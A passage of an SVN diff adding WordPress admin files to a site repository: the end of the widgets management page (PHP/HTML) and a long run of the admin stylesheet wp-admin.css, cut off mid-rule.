+<div id="message" class="error"><p><?php echo $errors[$_GET['error']]; ?></p></div>
+<?php } ?>
+
+<div class="widget-liquid-left">
+<div id="widgets-left">
+	<div id="available-widgets" class="widgets-holder-wrap">
+		<div class="sidebar-name">
+		<div class="sidebar-name-arrow"><br /></div>
+		<h3><?php _e('Available Widgets'); ?> <span id="removing-widget"><?php _e('Deactivate'); ?> <span></span></span></h3></div>
+		<div class="widget-holder">
+		<p class="description"><?php _e('Drag widgets from here to a sidebar on the right to activate them. Drag widgets back here to deactivate them and delete their settings.'); ?></p>
+		<div id="widget-list">
+		<?php wp_list_widgets(); ?>
+		</div>
+		<br class='clear' />
+		</div>
+		<br class="clear" />
+	</div>
+
+	<div class="widgets-holder-wrap">
+		<div class="sidebar-name">
+		<div class="sidebar-name-arrow"><br /></div>
+		<h3><?php _e('Inactive Widgets'); ?>
+		<span><img src="images/wpspin_light.gif" class="ajax-feedback" title="" alt="" /></span></h3></div>
+		<div class="widget-holder inactive">
+		<p class="description"><?php _e('Drag widgets here to remove them from the sidebar but keep their settings.'); ?></p>
+		<?php wp_list_widget_controls('wp_inactive_widgets'); ?>
+		<br class="clear" />
+		</div>
+	</div>
+</div>
+</div>
+
+<div class="widget-liquid-right">
+<div id="widgets-right">
+<?php
+$i = 0;
+foreach ( $wp_registered_sidebars as $sidebar => $registered_sidebar ) {
+	if ( 'wp_inactive_widgets' == $sidebar )
+		continue;
+	$closed = $i ? ' closed' : ''; ?>
+	<div class="widgets-holder-wrap<?php echo $closed; ?>">
+	<div class="sidebar-name">
+	<div class="sidebar-name-arrow"><br /></div>
+	<h3><?php echo esc_html( $registered_sidebar['name'] ); ?>
+	<span><img src="images/wpspin_dark.gif" class="ajax-feedback" title="" alt="" /></span></h3></div>
+	<?php wp_list_widget_controls( $sidebar ); // Show the control forms for each of the widgets in this sidebar ?>
+	</div>
+<?php
+	$i++;
+} ?>
+</div>
+</div>
+<form action="" method="post">
+<?php wp_nonce_field( 'save-sidebar-widgets', '_wpnonce_widgets', false ); ?>
+</form>
+<br class="clear" />
+</div>
+
+<?php
+do_action( 'sidebar_admin_page' );
+require_once( 'admin-footer.php' );
Index: /trunk/www.guidonia.net/wp/wp-admin/wp-admin.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/wp-admin.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/wp-admin.css	(revision 44)
@@ -0,0 +1,3301 @@
+textarea,
+input,
+select {
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 4px;
+	-khtml-border-radius: 4px;
+	-webkit-border-radius: 4px;
+	border-radius: 4px;
+}
+
+input[type="checkbox"],
+input[type="radio"],
+input[type="image"] {
+	border: 0 none;
+}
+
+p,
+ul,
+ol,
+blockquote,
+input,
+select {
+	font-size: 12px;
+}
+
+select option {
+	padding: 2px;
+}
+
+.plugins .name,
+#pass-strength-result.strong,
+#pass-strength-result.short,
+.button-highlighted,
+#quicktags #ed_strong,
+#ed_reply_toolbar #ed_reply_strong {
+	font-weight: bold;
+}
+
+.plugins p {
+	margin: 0 4px;
+	padding: 0;
+}
+
+.plugins .desc p {
+	margin: 0 0 8px;
+}
+
+.plugins td.desc {
+	line-height: 1.5em;
+}
+
+.plugins .desc ul,
+.plugins .desc ol {
+	margin: 0 0 0 2em;
+}
+
+.plugins .desc ul {
+	list-style-type: disc;
+}
+
+.plugins .action-links { 
+	white-space: nowrap;
+}
+
+.plugins .row-actions-visible {
+	padding: 0;
+}
+
+.widefat tbody.plugins th.check-column {
+	padding: 7px 0;
+}
+
+.widefat .plugins td,
+.widefat .plugins th {
+	border-bottom: 0 none;
+}
+
+#install-plugins .plugins td,
+#install-plugins .plugins th {
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+}
+
+.plugins .inactive td,
+.plugins .inactive th,
+.plugins .active td,
+.plugins .active th {
+	border-top-style: solid;
+	border-top-width: 1px;
+	padding: 5px 7px 0;
+}
+
+#wpbody-content .plugins .plugin-title {
+	padding-right: 12px;
+}
+
+.plugins .second td,
+.plugins .second th {
+	border-top: 0 none;
+	padding: 0 7px 5px;
+}
+
+.plugins-php .widefat tfoot th,
+.plugins-php .widefat tfoot td {
+	border-top-style: solid;
+	border-top-width: 1px;
+}
+
+.import-system {
+	font-size: 16px;
+}
+
+.anchors {
+	margin: 10px 20px 10px 20px;
+}
+
+table#availablethemes {
+	border-spacing: 0;
+	border-width: 1px 0;
+	border-style: solid none;
+	margin: 10px auto;
+	width: 100%;
+}
+
+td.available-theme {
+	vertical-align: top;
+	width: 240px;
+	margin: 0;
+	padding: 20px;
+	text-align: left;
+}
+
+table#availablethemes td {
+	border-width: 0 1px 1px;
+	border-style: none solid solid;
+}
+
+table#availablethemes td.right,
+table#availablethemes td.left  {
+	border-right: 0 none;
+	border-left: 0 none;
+}
+
+table#availablethemes td.bottom {
+	border-bottom: 0 none;
+}
+
+.available-theme a.screenshot {
+	width: 240px;
+	height: 180px;
+	display: block;
+	border-width: 1px;
+	border-style: solid;
+	margin-bottom: 10px;
+	overflow: hidden;
+}
+
+.available-theme img {
+	width: 240px;
+}
+
+.available-theme h3 {
+	margin: 15px 0 5px;
+}
+
+#current-theme {
+	margin: 1em 0 1.5em;
+}
+
+#current-theme a {
+	border-bottom: none;
+}
+
+#current-theme h3 {
+	font-size: 17px;
+	font-weight: normal;
+	margin: 0;
+}
+
+#current-theme .theme-description {
+	margin-top: 5px;
+}
+
+#current-theme img {
+	float: left;
+	border-width: 1px;
+	border-style: solid;
+	margin-right: 1em;
+	margin-bottom: 1.5em;
+	width: 150px;
+}
+
+#TB_window #TB_title a.tb-theme-preview-link,
+#TB_window #TB_title a.tb-theme-preview-link:visited {
+	font-weight: bold;
+	text-decoration: none;
+}
+
+#TB_window #TB_title {
+	background-color: #222;
+	color: #cfcfcf;
+}
+
+.checkbox {
+	border: none;
+	margin: 0;
+	padding: 0;
+}
+
+.code, code {
+	font-family: Consolas, Monaco, Courier, monospace;
+}
+
+kbd, code {
+	padding: 1px 3px;
+	margin: 0 1px;
+	font-size: 11px;
+}
+
+.commentlist li {
+	padding: 1em 1em .2em;
+	margin: 0;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+.commentlist li li {
+	border-bottom: 0;
+	padding: 0;
+}
+
+.commentlist p {
+	padding: 0;
+	margin: 0 0 .8em;
+}
+
+.post-categories {
+	display: inline;
+	margin: 0;
+	padding: 0;
+}
+
+.post-categories li {
+	display: inline;
+}
+
+.quicktags, .search {
+	font: 12px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+.submit {
+	padding: 1.5em 0;
+	margin: 5px 0;
+	-moz-border-radius: 0 0 3px 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	-webkit-border-bottom-right-radius: 3px;
+	-khtml-border-bottom-left-radius: 3px;
+	-khtml-border-bottom-right-radius: 3px;
+	border-bottom-left-radius: 3px;
+	border-bottom-right-radius: 3px;
+}
+
+form p.submit a.cancel:hover {
+	text-decoration: none;
+}
+
+#submitdiv h3,
+#pagesubmitdiv h3 {
+	margin-bottom: 0 !important;
+}
+
+#misc-publishing-actions {
+	padding: 6px 0 16px 0;
+}
+
+.misc-pub-section {
+	padding: 6px;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+.misc-pub-section-last {
+	border-bottom: 0 none;
+}
+
+#minor-publishing-actions {
+	padding: 6px;
+	text-align: right;
+}
+
+#minor-publishing {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+#save-post {
+	float: left;
+}
+
+.preview {
+	float: right;
+}
+
+#major-publishing-actions {
+	padding: 6px;
+	clear: both;
+	border-top: none;
+}
+
+#minor-publishing-actions input,
+#major-publishing-actions input,
+#minor-publishing-actions .preview {
+	min-width: 80px;
+	text-align: center;
+}
+
+#delete-action {
+	line-height: 25px;
+	vertical-align: middle;
+	text-align: left;
+	float: left;
+}
+
+#publishing-action {
+	text-align: right;
+	float: right;
+}
+
+#post-body #minor-publishing {
+	padding-bottom: 10px;
+}
+
+#post-body #misc-publishing-actions {
+	padding: 0;
+}
+
+#post-body .misc-pub-section {
+	border-right-width: 1px;
+	border-right-style: solid;
+	border-bottom: 0 none;
+	min-height: 30px;
+	float: left;
+	max-width: 32%;
+}
+
+#post-body .misc-pub-section-last {
+	border-right: 0;
+}
+
+#sticky-span {
+	margin-left: 18px;
+}
+
+#post-status-display,
+#post-visibility-display {
+	font-weight: bold;
+}
+
+.side-info {
+	margin: 0;
+	padding: 4px;
+	font-size: 11px;
+}
+
+.side-info h5 {
+	padding-bottom: 7px;
+	font-size: 14px;
+	margin: 12px 2px 5px;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+.side-info ul {
+	margin: 0;
+	padding-left: 18px;
+	list-style: square;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	text-decoration: none;
+	font-size: 11px !important;
+	line-height: 16px;
+	padding: 2px 8px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 11px;
+	-moz-box-sizing: content-box;
+	-webkit-box-sizing: content-box;
+	-khtml-box-sizing: content-box;
+	box-sizing: content-box;
+}
+
+a.button,
+a.button-primary,
+a.button-secondary {
+	line-height: 1.2em;
+	-webkit-border-radius: 10px;
+	padding: 4px 10px;
+	white-space: nowrap;
+}
+
+#doaction,
+#doaction2 {
+	margin-right: 8px;
+}
+
+.tablenav select[name="action"],
+.tablenav select[name="action2"] {
+	width: 120px;
+}
+
+.tablenav select[name="m"] {
+	width: 120px;
+}
+
+.tablenav select#cat {
+	width: 150px;
+}
+
+#wpcontent select {
+	padding: 2px;
+	height: 2em;
+	font-size: 11px;
+}
+
+#wpcontent option {
+	padding: 2px;
+}
+
+#timezone_string option {
+	margin-left: 1em;
+}
+
+.approve {
+	display: none;
+}
+
+.unapproved .approve, .spam .approve {
+	display: inline;
+}
+
+.unapproved .unapprove {
+	display: none;
+}
+
+.narrow {
+	width: 70%;
+	margin-bottom: 40px;
+}
+
+.narrow p {
+	line-height: 150%;
+}
+
+textarea.all-options, input.all-options {
+	width: 250px;
+}
+
+#namediv table {
+	width: 100%;
+}
+
+#namediv td.first {
+	width: 10px;
+	white-space: nowrap;
+}
+
+#namediv input {
+	width: 98%;
+}
+
+#namediv p {
+	margin: 10px 0;
+}
+
+#wpbody-content .metabox-holder {
+	padding-top: 10px;
+}
+
+#content {
+	margin: 0;
+	width: 100%;
+}
+
+#editorcontainer #content {
+	padding: 6px;
+	line-height: 150%;
+	border: 0 none;
+	outline: none;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	-khtml-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#editorcontainer,
+#quicktags {
+	border-style: solid;
+	border-width: 1px;
+	border-collapse: separate;
+	-moz-border-radius: 6px 6px 0 0;
+	-webkit-border-top-right-radius: 6px;
+	-webkit-border-top-left-radius: 6px;
+	-khtml-border-top-right-radius: 6px;
+	-khtml-border-top-left-radius: 6px;
+	border-top-right-radius: 6px;
+	border-top-left-radius: 6px;
+}
+
+#quicktags {
+	padding: 0;
+	margin-bottom: -3px;
+	border-bottom-width: 3px;
+	background-image: url("images/ed-bg.gif");
+	background-position: left top;
+	background-repeat: repeat-x;
+}
+
+#quicktags #ed_toolbar {
+	padding: 2px 4px 0;
+}
+
+#ed_toolbar input,
+#ed_reply_toolbar input {
+	margin: 3px 1px 4px;
+	line-height: 18px;
+	display: inline-block;
+	min-width: 26px;
+	padding: 2px 4px;
+	font-size: 12px;
+}
+
+#ed_reply_toolbar input {
+	margin: 1px 2px 1px 1px;
+}
+
+#quicktags #ed_link,
+#ed_reply_toolbar #ed_reply_link {
+	text-decoration: underline;
+}
+
+#quicktags #ed_del,
+#ed_reply_toolbar #ed_reply_del {
+	text-decoration: line-through;
+}
+
+#quicktags #ed_em,
+#ed_reply_toolbar #ed_reply_em {
+	font-style: italic;
+}
+
+#excerpt, .attachmentlinks {
+	margin: 0;
+	height: 4em;
+	width: 98%;
+}
+
+/* post meta postbox */
+#postcustomstuff table,
+#postcustomstuff input,
+#postcustomstuff textarea {
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+#postcustomstuff .updatemeta,
+#postcustomstuff .deletemeta {
+	margin: auto;
+}
+
+#postcustomstuff thead th {
+	padding: 5px 8px 8px;
+}
+
+#postcustom #postcustomstuff .submit,
+#pagecustomdiv #postcustomstuff .submit {
+	border: 0 none;
+	float: none;
+	padding: 5px 8px;
+}
+
+#side-sortables #postcustom #postcustomstuff .submit,
+#side-sortables #pagecustomdiv #postcustomstuff .submit {
+	padding: 0 5px;
+}
+
+#side-sortables #postcustom #postcustomstuff td.left input,
+#side-sortables #pagecustomdiv #postcustomstuff td.left input {
+	margin: 3px 3px 0;
+}
+
+#side-sortables #postcustom #postcustomstuff #the-list textarea,
+#side-sortables #pagecustomdiv #postcustomstuff #the-list textarea {
+	height: 85px;
+	margin: 3px;
+}
+
+#postcustomstuff table {
+	margin: 0;
+	width: 100%;
+	border-width: 1px;
+	border-style: solid;
+	border-spacing: 0;
+}
+
+#postcustomstuff table input,
+#postcustomstuff table select,
+#postcustomstuff table textarea {
+	width: 95%;
+	margin: 8px 0 8px 8px;
+}
+
+#postcustomstuff th.left,
+#postcustomstuff td.left {
+	width: 38%;
+}
+
+#postcustomstuff .submit input {
+	width: auto;
+}
+
+#postcustomstuff #newmeta .submit {
+	padding: 0 8px;
+}
+
+#postcustomstuff table #addmetasub {
+	width: auto;
+}
+
+#postcustomstuff #newmetaleft {
+	vertical-align: top;
+}
+
+#postcustomstuff #newmetaleft a {
+	padding: 0 10px;
+	text-decoration: none;
+}
+
+#save {
+	width: 15em;
+}
+
+#template div {
+	margin-right: 190px;
+}
+
+* html #template div {
+	margin-right: 0;
+}
+
+/* A handy div class for hiding controls.
+Some browsers will disable them when you
+set display: none; */
+.zerosize {
+	height: 0;
+	width: 0;
+	margin: 0;
+	border: 0;
+	padding: 0;
+	overflow: hidden;
+	position: absolute;
+}
+
+* html #themeselect {
+	padding: 0 3px;
+	height: 22px;
+}
+
+#your-profile legend {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 22px;
+}
+
+#your-profile #rich_editing {
+	border: none;
+}
+
+#howto {
+	font-size: 11px;
+	margin: 0 5px;
+	display: block;
+}
+
+#ajax-response.alignleft {
+	margin-left: 2em;
+}
+
+div.nav {
+	height: 2em;
+	padding: 7px 10px;
+	vertical-align: text-top;
+	margin: 5px 0;
+}
+
+.nav .button-secondary {
+	padding: 2px 4px;
+}
+
+a.page-numbers {
+	border-bottom-style: solid;
+	border-bottom-width: 2px;
+	font-weight: bold;
+	margin-right: 1px;
+	padding: 0 2px;
+}
+
+p.pagenav {
+	margin: 0;
+	display: inline;
+}
+
+.pagenav span {
+	font-weight: bold;
+	margin: 0 6px;
+}
+
+.row-title {
+	font-size: 12px !important;
+	font-weight: bold;
+}
+
+.column-comment p {
+	margin: 0.6em 0;
+}
+
+.column-author img, .column-username img {
+	float: left;
+	margin-right: 10px;
+	margin-top: 3px;
+}
+
+.tablenav a.button-secondary {
+	display: block;
+	margin: 3px 8px 0 0;
+}
+
+.tablenav {
+	clear: both;
+	height: 30px;
+	margin: 6px 0 4px;
+	vertical-align: middle;
+}
+
+.tablenav .tablenav-pages {
+	float: right;
+	display: block;
+	cursor: default;
+	height: 30px;
+	line-height: 30px;
+	font-size: 11px;
+}
+
+.tablenav .tablenav-pages a,
+.tablenav-pages span.current  {
+	text-decoration: none;
+	border: none;
+	padding: 3px 6px;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 5px;
+	-khtml-border-radius: 5px;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+}
+
+.tablenav .displaying-num {
+	margin-right: 10px;
+	font-size: 12px;
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-style: italic;
+}
+
+.tablenav .actions {
+	padding: 2px 8px 0 0;
+}
+
+td.media-icon {
+	vertical-align: middle;
+	text-align: center;
+	width: 80px;
+}
+
+td.media-icon img {
+	max-width: 80px;
+	max-height: 60px;
+}
+
+#update-nag {
+	line-height: 29px;
+	font-size: 12px;
+	text-align: center;
+}
+
+#update-nag {
+	border-width: 1px 0;
+	border-style: solid none;
+}
+
+.plugins .plugin-update {
+	padding: 0;
+}
+
+.plugin-update .update-message {
+	margin: 0 10px 8px 31px;
+	font-weight: bold;
+}
+
+#pass-strength-result {
+	border-style: solid;
+	border-width: 1px;
+	float: left;
+	margin: 12px 5px 5px 1px;
+	padding: 3px 5px;
+	text-align: center;
+	width: 200px;
+}
+
+.row-actions {
+	visibility: hidden;
+	padding: 2px 0 0;
+}
+
+tr:hover .row-actions,
+div.comment-item:hover .row-actions {
+	visibility: visible;
+}
+
+.row-actions-visible {
+	padding: 2px 0 0;
+	cursor: pointer;
+}
+
+/* Admin Header */
+#wphead-info {
+	margin: 0 0 0 15px;
+	padding-right: 15px;
+}
+
+#user_info {
+	float: right;
+	font-size: 12px;
+	line-height: 46px;
+	height: 46px;
+}
+
+#user_info p {
+	margin: 0;
+	padding: 0;
+	line-height: 46px;
+}
+
+#wphead {
+	height: 46px;
+}
+
+#wphead a,
+#adminmenu a,
+#sidemenu a,
+#taglist a,
+#catlist a,
+#show-settings a {
+	text-decoration: none;
+}
+
+#header-logo {
+	float: left;
+	margin: 7px 0 0 15px;
+}
+
+#wphead h1 {
+	font: normal 22px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	padding: 10px 8px 5px;
+	margin: 0;
+	float: left;
+}
+
+#wphead h1.long-title {
+	font: normal 18px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	padding: 12px 10px 5px;
+}
+
+#wphead #site-visit-button {
+	background-repeat:repeat-x;
+	background-position:0 0;
+	-moz-border-radius:3px;
+	-webkit-border-radius:3px;
+	-khtml-border-radius:3px;
+	border-radius:3px;
+	cursor:pointer; /* to keep IE happy */
+	display:-moz-inline-stack; /* to keep FF2 happy */
+	display:inline-block;
+	font-size: 50%;
+	font-style:normal;
+	line-height:17px;
+	margin-left:5px;
+	padding:0 6px;
+	vertical-align:middle;
+}
+
+#wphead h1 a:hover {
+	text-decoration:none;
+}
+#wphead h1 a:hover #site-title {
+	text-decoration:underline;
+}
+
+/* side admin menu */
+#adminmenu * {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-khtml-user-select: none;
+	user-select: none;
+}
+
+#adminmenu .wp-submenu {
+	display: none;
+	list-style: none;
+	padding: 0;
+	margin: 0;
+	position: relative;
+	z-index: 2;
+	border-width: 1px 0 0;
+	border-style: solid none none;
+}
+
+#adminmenu .wp-submenu a {
+	font: normal 11px/18px "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover {
+	font-weight: bold;
+}
+
+#adminmenu a.menu-top,
+#adminmenu .wp-submenu-head {
+	font: normal 13px/18px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+#adminmenu div.wp-submenu-head {
+	display: none;
+}
+
+.folded #adminmenu div.wp-submenu-head,
+.folded #adminmenu li.wp-has-submenu div.sub-open {
+	display: block;
+}
+
+.folded #adminmenu a.menu-top,
+.folded #adminmenu .wp-submenu,
+.folded #adminmenu li.wp-menu-open .wp-submenu,
+.folded #adminmenu div.wp-menu-toggle {
+	display: none;
+}
+
+#adminmenu li.wp-menu-open .wp-submenu,
+.no-js #adminmenu .open-if-no-js .wp-submenu {
+	display: block;
+}
+
+#adminmenu div.wp-menu-image {
+	float: left;
+	width: 28px;
+	height: 28px;
+}
+
+#adminmenu li {
+	margin: 0;
+	padding: 0;
+	cursor: pointer;
+}
+
+#adminmenu a {
+	display: block;
+	line-height: 18px;
+	padding: 1px 5px 3px;
+}
+
+#adminmenu li.menu-top {
+	min-height: 26px;
+}
+
+#adminmenu a.menu-top {
+	line-height: 18px;
+	min-width: 10em;
+	padding: 5px 5px;
+	border-width: 1px 1px 0;
+	border-style: solid solid none;
+}
+
+#adminmenu .wp-submenu a {
+	margin: 0;
+	padding-left: 12px;
+	border-width: 0 1px 0 0;
+	border-style: none solid none none;
+}
+
+#adminmenu .menu-top-last ul.wp-submenu {
+	border-width: 0 0 1px;
+	border-style: none none solid;
+}
+
+#adminmenu .wp-submenu li {
+	padding: 0;
+	margin: 0;
+}
+
+.folded #adminmenu li.menu-top {
+	width: 28px;
+	height: 30px;
+	overflow: hidden;
+	border-width: 1px 1px 0;
+	border-style: solid solid none;
+}
+
+#adminmenu .menu-top-first a.menu-top,
+.folded #adminmenu li.menu-top-first,
+#adminmenu .wp-submenu .wp-submenu-head {
+	border-width: 1px 1px 0;
+	border-style: solid solid none;
+	-moz-border-radius-topleft :6px;
+	-moz-border-radius-topright: 6px;
+	-webkit-border-top-right-radius: 6px;
+	-webkit-border-top-left-radius: 6px;
+	-khtml-border-top-right-radius: 6px;
+	-khtml-border-top-left-radius: 6px;
+	border-top-right-radius: 6px;
+	border-top-left-radius: 6px;
+}
+
+#adminmenu .menu-top-last a.menu-top,
+.folded #adminmenu li.menu-top-last {
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius-bottomleft: 6px;
+	-moz-border-radius-bottomright: 6px;
+	-webkit-border-bottom-right-radius: 6px;
+	-webkit-border-bottom-left-radius: 6px;
+	-khtml-border-bottom-right-radius: 6px;
+	-khtml-border-bottom-left-radius: 6px;
+	border-bottom-right-radius: 6px;
+	border-bottom-left-radius: 6px;
+}
+
+#adminmenu li.wp-menu-open a.menu-top-last {
+	border-bottom: 0 none;
+	-moz-border-radius-bottomright: 0;
+	-moz-border-radius-bottomleft: 0;
+	-webkit-border-bottom-right-radius: 0;
+	-webkit-border-bottom-left-radius: 0;
+	-khtml-border-bottom-right-radius: 0;
+	-khtml-border-bottom-left-radius: 0;
+	border-bottom-right-radius: 0;
+	border-bottom-left-radius: 0;
+}
+
+#adminmenu img.wp-menu-image {
+	float: left;
+	padding: 8px 6px 0;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#adminmenu li.menu-top:hover img.wp-menu-image,
+#adminmenu li.wp-has-current-submenu img.wp-menu-image {
+	opacity: 1;
+	filter: alpha(opacity=100);
+}
+
+.folded #adminmenu img.wp-menu-image {
+	padding: 7px 0 0 6px;
+}
+
+#adminmenu li.wp-menu-separator {
+	height: 21px;
+	padding: 0;
+	margin: 0;
+}
+
+#adminmenu a.separator {
+	cursor: w-resize;
+	height: 20px;
+	padding: 0;
+}
+
+.folded #adminmenu a.separator {
+ 	cursor: e-resize;
+}
+
+#adminmenu .wp-menu-separator-last {
+	height: 10px;
+	width: 1px;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	border-width: 1px;
+	border-style: solid;
+	padding: 6px 4px 6px 10px;
+	cursor: default;
+}
+
+.folded #adminmenu .wp-submenu {
+	position: absolute;
+	margin: -1px 0 0 28px;
+	padding: 0 8px 8px;
+	z-index: 999;
+	border: 0 none;
+}
+
+.folded #adminmenu .wp-submenu ul {
+	width: 140px;
+	border-width: 0 0 1px;
+	border-style: none none solid;
+}
+
+.folded #adminmenu .wp-submenu li.wp-first-item {
+	border-top: 0 none;
+}
+
+.folded #adminmenu .wp-submenu a {
+	padding-left: 10px;
+}
+
+.folded #adminmenu a.wp-has-submenu {
+	margin-left: 40px;
+}
+
+#adminmenu li.menu-top-last .wp-submenu ul {
+	border-width: 0 0 1px;
+	border-style: none none solid;
+}
+
+#adminmenu .wp-menu-toggle {
+	width: 22px;
+	clear: right;
+	float: right;
+	margin: 1px 0 0;
+	height: 27px;
+	padding: 1px 2px 0 0;
+	cursor: default;
+}
+
+#adminmenu li.wp-has-current-submenu ul {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+#adminmenu .wp-menu-image a {
+	height: 24px;
+}
+
+#adminmenu .wp-menu-image img {
+	padding: 6px 0 0 1px;
+}
+
+/* end side admin menu */
+
+/* comments/plugins bubble in menu */
+#adminmenu #awaiting-mod,
+#adminmenu span.update-plugins,
+#sidemenu li a span.update-plugins {
+	position: absolute;
+	font-family: Helvetica, Arial, sans-serif;
+	font-size: 7pt;
+	font-weight: bold;
+	margin-top: 2px;
+	margin-left: 2px;
+	-moz-border-radius: 7px;
+	-khtml-border-radius: 7px;
+	-webkit-border-radius: 7px;
+	border-radius: 7px;
+}
+
+#adminmenu li #awaiting-mod span,
+#adminmenu li span.update-plugins span,
+#sidemenu li a span.update-plugins span {
+	float: left;
+	display: block;
+	height: 1.6em;
+	line-height: 1.6em;
+	padding: 0 6px;
+}
+
+#adminmenu li span.count-0,
+#sidemenu li a .count-0 {
+	display: none;
+}
+/* end menu stuff */
+
+/* comments bubble */
+.post-com-count-wrapper {
+	min-width: 22px;
+	font-family: Helvetica, Arial, sans-serif;
+}
+
+.post-com-count {
+	height: 1.3em;
+	line-height: 1.1em;
+	display: block;
+	text-decoration: none;
+	padding: 0 0 6px;
+	cursor: pointer;
+	background-position: center -80px;
+	background-repeat: no-repeat;
+}
+
+.post-com-count span {
+	font-size: 9px;
+	font-weight: bold;
+	height: 1.7em;
+	line-height: 1.70em;
+	min-width: 0.7em;
+	padding: 0 6px;
+	display: inline-block;
+	cursor: pointer;
+	-moz-border-radius: 5px;
+	-khtml-border-radius: 5px;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+}
+
+strong .post-com-count {
+	background-position: center -55px;
+}
+
+.post-com-count:hover {
+	background-position: center -3px;
+}
+
+.column-response .post-com-count {
+	float: left;
+	margin-right: 5px;
+	text-align: center;
+}
+
+.response-links {
+	float: left;
+}
+
+#the-comment-list .attachment-80x60 {
+	padding: 4px 8px;
+}
+
+/* Admin Footer */
+#footer {
+	margin-top: -45px;
+}
+
+#footer,
+#footer a {
+	font-size: 12px;
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-style: italic;
+}
+
+#footer p {
+	margin: 0;
+	padding: 15px;
+	line-height: 15px;
+}
+
+#footer a {
+	text-decoration: none;
+}
+
+#footer a:hover {
+	text-decoration: underline;
+}
+
+/* Tables used on comment.php and option/setting pages */
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 0.5em;
+	width: 100%;
+	margin-bottom: -8px;
+	clear: both;
+}
+
+.form-table td,
+#wpbody-content .describe td {
+	margin-bottom: 9px;
+	padding: 4px 10px 12px;
+	line-height: 20px;
+	font-size: 11px;
+}
+
+.form-table th,
+.form-wrap label {
+	font-weight: normal;
+	text-shadow: rgba(255,255,255,1) 0 1px 0;
+}
+
+.form-table th,
+#wpbody-content .describe th {
+	vertical-align: top;
+	text-align: left;
+	padding: 10px;
+	width: 200px;
+}
+
+.form-table th.th-full {
+	width: auto;
+}
+
+.form-table input,
+.form-table textarea,
+#wpbody-content .describe input,
+#wpbody-content .describe textarea {
+	border-width: 1px;
+	border-style: solid;
+}
+
+.form-table div.color-option {
+	display: block;
+	clear: both;
+	margin-top: 12px;
+}
+
+.form-table input.tog {
+	margin-top: 2px;
+	margin-right: 2px;
+	float: left;
+}
+
+.form-table table.color-palette {
+	vertical-align: bottom;
+	float: left;
+	margin: -12px 3px 11px;
+}
+
+.form-table .color-palette td {
+	border-width: 1px 1px 0;
+	border-style: solid solid none;
+	height: 10px;
+	line-height: 20px;
+	width: 10px;
+}
+
+textarea.large-text {
+	width: 99%;
+}
+
+.form-table input.regular-text,
+#adduser .form-field input {
+	width: 25em;
+}
+
+.form-table input.small-text {
+	width: 50px;
+}
+
+#profile-page .form-table textarea {
+	width: 500px;
+	margin-bottom: 6px;
+}
+
+#profile-page .form-table #rich_editing {
+	margin-right: 5px
+}
+
+.form-table .pre {
+	padding: 8px;
+	margin: 0;
+}
+
+.pre {
+	/* http://www.longren.org/2006/09/27/wrapping-text-inside-pre-tags/ */
+	white-space: pre-wrap; /* css-3 */
+	white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
+	white-space: -pre-wrap; /* Opera 4-6 */
+	white-space: -o-pre-wrap; /* Opera 7 */
+	word-wrap: break-word; /* Internet Explorer 5.5+ */
+}
+
+table.form-table td .updated {
+	font-size: 13px;
+}
+
+/* divs for cats and tags pages */
+
+.form-wrap {
+	margin: 10px 0;
+	width: 97%;
+}
+
+.form-wrap p,
+.form-wrap label {
+	font-size: 11px;
+}
+
+.form-wrap label {
+	display: block;
+	padding: 2px;
+	font-size: 12px;
+}
+
+.form-field input,
+.form-field textarea {
+	border-style: solid;
+	border-width: 1px;
+	width: 95%;
+}
+
+p.description,
+.form-wrap p {
+	margin: 2px 0 5px;
+}
+
+p.help,
+p.description,
+span.description,
+.form-wrap p {
+	font-size: 12px;
+	font-style: italic;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+.form-wrap .form-field {
+	margin: 0 0 10px;
+	padding: 8px;
+}
+
+.col-wrap h3 {
+	margin: 12px 0;
+	font-size: 1.1em;
+}
+
+.col-wrap p.submit {
+	margin-top: -10px;
+}
+
+.tagcloud {
+	width: 97%;
+	margin: 0 0 40px;
+	text-align: justify;
+}
+
+.tagcloud h3 {
+	margin: 2px 0 12px;
+}
+
+/* Post Screen */
+#post-body #normal-sortables {
+	min-height: 50px;
+}
+
+#post-body #advanced-sortables {
+	min-height: 20px;
+}
+
+.postbox {
+	position: relative;
